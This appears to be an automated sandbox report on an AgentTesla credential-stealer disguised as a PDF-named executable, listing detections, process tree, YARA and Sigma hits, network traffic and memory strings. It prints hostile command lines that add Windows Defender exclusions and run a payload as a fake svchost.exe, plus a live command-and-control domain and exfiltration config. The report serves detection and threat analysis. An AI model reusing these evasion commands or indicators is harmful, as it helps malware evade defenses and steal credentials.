Play interactive tour

Edit tour

Analysis Report RFQ - REF 208056-pdf.exe

Overview

General Information

Sample Name:	RFQ - REF 208056-pdf.exe
Analysis ID:	358398
MD5:	c1b250f45de606ef95af9961496402a0
SHA1:	a222da21dbd932d64f9cad12b46c068ac7360f72
SHA256:	cdb8cf995f8287a1f64cd035c4e34e047e23a3218dbf50b0fcf321ecd464094e
Tags:	exesigned
Infos:
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Adds a directory exclusion to Windows Defender

Binary contains a suspicious time stamp

Changes security center settings (notifications, updates, antivirus, firewall)

Creates an autostart registry key pointing to binary in C:\Windows

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Suspicious Svchost Process

Sigma detected: System File Execution Location Anomaly

Tries to delay execution (extensive OutputDebugStringW loop)

AV process strings found (often used to terminate AV products)

Antivirus or Machine Learning detection for unpacked file

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Startup

System is w10x64

RFQ - REF 208056-pdf.exe (PID: 6556 cmdline: 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' MD5: C1B250F45DE606EF95AF9961496402A0)

powershell.exe (PID: 5688 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AdvancedRun.exe (PID: 5504 cmdline: 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 5716 cmdline: 'C:\Users\user\AppData\Local\Temp\3f77e94d-b01b-49a3-88ba-e6fd38451fb3\AdvancedRun.exe' /SpecialRun 4101d8 5504 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 6736 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6440 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 1044 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 6220 cmdline: timeout 1 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

RFQ - REF 208056-pdf.exe (PID: 5228 cmdline: C:\Users\user\Desktop\RFQ - REF 208056-pdf.exe MD5: C1B250F45DE606EF95AF9961496402A0)

WerFault.exe (PID: 6032 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6556 -s 2200 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 6788 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7040 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7108 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7156 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6064 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 7008 cmdline: 'C:\Program Files\Windows Defender\mpcmdrun.exe' -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

explorer.exe (PID: 2084 cmdline: 'C:\Windows\explorer.exe' 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' MD5: AD5296B280E8F522A8A897C96BAB0E1D)

explorer.exe (PID: 6816 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 1020 cmdline: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' MD5: C1B250F45DE606EF95AF9961496402A0)

explorer.exe (PID: 6400 cmdline: 'C:\Windows\explorer.exe' 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' MD5: AD5296B280E8F522A8A897C96BAB0E1D)

explorer.exe (PID: 2160 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 4820 cmdline: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' MD5: C1B250F45DE606EF95AF9961496402A0)

svchost.exe (PID: 5232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5408 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 5828 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6556 -ip 6556 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "FTP Info": "directortopcoba@top-co.babrSet=M{CAdetop-co.ba"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
0000001B.00000002.497563880.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001B.00000002.519847077.0000000002C91000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000001B.00000002.519847077.0000000002C91000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.544302148.000000000477A000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000019.00000002.544137822.0000000003D04000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.509634686.0000000003B23000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RFQ - REF 208056-pdf.exe PID: 6556	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: svchost.exe PID: 1020	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.svchost.exe.47b10f0.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.svchost.exe.47b10f0.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ - REF 208056-pdf.exe.3d586d0.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.RFQ - REF 208056-pdf.exe.3b23dd8.8.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.svchost.exe.477aed0.6.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
16.2.svchost.exe.477aed0.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 3 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 6816, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , ProcessId: 1020

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss: Data: Command: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 6816, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , ProcessId: 1020

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 6816, ProcessCommandLine: 'C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe' , ProcessId: 1020

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 16.2.svchost.exe.47b10f0.5.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "FTP Info": "directortopcoba@top-co.babrSet=M{CAdetop-co.ba"}

Multi AV Scanner detection for domain / URL

Show sources

Source: coroloboxorozor.com	Virustotal: Detection: 15%	Perma Link
Source: http://coroloboxorozor.com	Virustotal: Detection: 15%	Perma Link
Source: http://coroloboxorozor.com/base/4FDB764474638ADF12639B4DA858CE81.html	Virustotal: Detection: 15%	Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Show sources

Source: RFQ - REF 208056-pdf.exe	Virustotal: Detection: 18%			Perma Link
Source: RFQ - REF 208056-pdf.exe	ReversingLabs: Detection: 31%

Machine Learning detection for dropped file

Show sources

Source: C:\Windows\Microsoft.NET\Framework\fEPqNDVRKakftSbrsO\svchost.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: RFQ - REF 208056-pdf.exe

Joe Sandbox ML: detected

Source: 16.0.svchost.exe.d60000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 16.2.svchost.exe.d60000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 0.2.RFQ - REF 208056-pdf.exe.50000.0.unpack	Avira: Label: TR/Dropper.Gen
Source: 0.0.RFQ - REF 208056-pdf.exe.50000.0.unpack	Avira: Label: TR/Dropper.Gen

Compliance:

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: RFQ - REF 208056-pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Show sources

Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, AdvancedRun.exe, 0000000B.00000000.311587089.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000000D.00000000.329692687.000000000040C000.00000002.00020000.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\RFQ - REF 208056-pdf.PDB source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: OnpeiVisualBasic.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: O.pdb3X source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbA source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbn source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: hhRFQ - REF 208056-pdf.PDB source: RFQ - REF 208056-pdf.exe, 00000000.00000002.394246360.00000000004F9000.00000004.00000010.sdmp
Source:	Binary string: System.Management.Automation.pdb-4053062332-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer3215EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F7479F source: powershell.exe, 00000011.00000002.548053273.0000000008392000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb^ source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp

Networking:

Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com

Source: Joe Sandbox View

IP Address: 172.67.172.17 172.67.172.17

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/4FDB764474638ADF12639B4DA858CE81.html HTTP/1.1Host: coroloboxorozor.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /base/67CF952D671D30AE6DA37F3E241170D6.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com
Source: global traffic	HTTP traffic detected: GET /base/7DD0ECB3FED3970A09258155874027F0.html HTTP/1.1Host: coroloboxorozor.com

Source: unknown

DNS traffic detected: queries for: coroloboxorozor.com

Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com/base/4FDB764474638ADF12639B4DA858CE81.html
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp	String found in binary or memory: http://coroloboxorozor.com/base/7DD0ECB3FED3970A09258155874027F0.html
Source: powershell.exe, 00000011.00000002.518282012.00000000035B4000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000011.00000002.551437427.0000000009B51000.00000004.00000001.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000011.00000002.551437427.0000000009B51000.00000004.00000001.sdmp	String found in binary or memory: http://crl.microsoft.co
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.543172698.0000000005AF0000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: svchost.exe, 00000002.00000002.529372868.000001EAA1C00000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: svchost.exe, 00000002.00000002.529372868.000001EAA1C00000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: svchost.exe, 00000002.00000002.529372868.000001EAA1C00000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.492361781.000000000395D000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000011.00000002.524764005.0000000005201000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 00000002.00000002.532241708.000001EAA1F60000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: RFQ - REF 208056-pdf.exe, 00000000.00000002.403215923.0000000002581000.00000004.00000001.sdmp, powershell.exe, 00000009.00000002.539506519.0000000005161000.00000004.00000001.sdmp, svchost.exe, 00000010.00000002.524567158.00000000034C1000.00000004.00000001.sdmp, powershell.exe, 00000011.00000002.524025636.00000000050C1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.524764005.0000000005201000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: svchost.exe, 00000005.00000002.307256810.00000243FF013000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: powershell.exe, 00000011.00000002.547914635.0000000008310000.00000004.00000001.sdmp	String found in binary or memory: http://www.microsoft.coaHp
Source: AdvancedRun.exe, AdvancedRun.exe, 0000000D.00000000.329692687.000000000040C000.00000002.00020000.sdmp, svchost.exe, 00000010.00000002.554662869.0000000007201000.00000004.00000001.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.comr
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000003.00000002.513627906.000002451B03E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000005.00000003.307021748.00000243FF04A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 00000005.00000002.307267041.00000243FF029000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000005.00000003.307049363.00000243FF042000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000005.00000003.307049363.00000243FF042000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000005.00000003.307034624.00000243FF041000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000005.00000003.307021748.00000243FF04A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000005.00000002.307307178.00000243FF05D000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000005.00000002.307307178.00000243FF05D000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000005.00000003.307003492.00000243FF04D000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000005.00000003.306998078.00000243FF061000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000005.00000002.307284356.00000243FF03E000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000005.00000003.285270099.00000243FF031000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
